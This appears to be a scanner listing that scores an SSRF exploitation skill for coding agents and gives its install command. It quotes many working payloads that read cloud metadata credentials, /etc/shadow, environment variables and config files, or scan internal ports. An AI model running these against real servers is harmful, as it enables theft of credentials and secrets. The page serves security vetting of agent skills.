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exploit-ssrf
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: 169.254.169.254, metadata.google.internal
This is disclosed by the author in the skill's SKILL.md or README.
Found in 21 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 29
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 31
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 34
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 37
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 40
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 47
curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \ - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 53
curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \ - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 82
curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 104
curl -s -X POST 'https://<TARGET>/import' \ - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 109
curl -s -o ssrf_admin_${port}.txt \ - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 122
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 123
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 126
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 127
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ssrf_environ.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 128
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/cmdline' -o ssrf_cmdline.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 131
curl -s 'https://<TARGET>/fetch?url=file:///app/app.py' -o ssrf_source.txt - packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.md, line 132
curl -s 'https://<TARGET>/fetch?url=file:///var/www/html/config.php' -o ssrf_config.txt
and 1 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 7 places.
Show 4 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploit-ssrf' ] || [ -L ~/.agents/skills/'exploit-ssrf' ]; then echo 'A skill folder named exploit-ssrf already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/ssrf' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/ssrf' ~/.agents/skills/'exploit-ssrf' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploit-ssrf' ~/.claude/skills/'exploit-ssrf' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 92 |
| 2026-11-08 | df87955 | 92 |